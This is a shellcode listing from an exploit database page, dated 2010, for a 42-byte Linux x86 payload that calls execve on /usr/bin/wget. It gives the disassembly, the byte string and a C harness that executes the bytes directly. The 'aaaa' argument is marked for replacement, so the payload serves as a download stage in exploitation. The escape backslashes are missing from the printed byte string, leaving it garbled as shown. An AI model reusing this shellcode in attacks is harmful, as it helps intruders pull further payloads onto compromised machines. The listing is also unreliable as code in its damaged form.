[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
# Published : 2010-05-17
# Author : Jonathan Salwan
# Previous Title : Solaris/x86 - Halt shellcode - 36 bytes
# Next Title : WinXP SP2 Fr Download and Exec Shellcode
/*
Title: Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
Author: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm
!Database of Shellcodes http://www.shell-storm.org/shellcode/
08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 68 61 61 61 61 push $0x61616161
804805e: 89 e1 mov %esp,%ecx
8048060: 52 push %edx
8048061: 6a 74 push $0x74
8048063: 68 2f 77 67 65 push $0x6567772f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 68 2f 75 73 72 push $0x7273752f
8048072: 89 e3 mov %esp,%ebx
8048074: 52 push %edx
8048075: 51 push %ecx
8048076: 53 push %ebx
8048077: 89 e1 mov %esp,%ecx
8048079: cd 80 int $0x80
804807b: 40 inc %eax
804807c: cd 80 int $0x80
*/
#include <stdio.h>
char sc[] = "x6ax0bx58x99x52"
"x68x61x61x61x61" // Change it
"x89xe1x52x6ax74"
"x68x2fx77x67x65"
"x68x2fx62x69x6e"
"x68x2fx75x73x72"
"x89xe3x52x51x53"
"x89xe1xcdx80x40"
"xcdx80";
int main(void)
{
fprintf(stdout,"Length: %dn",strlen(sc));
(*(void(*)()) sc)();
return 0;
}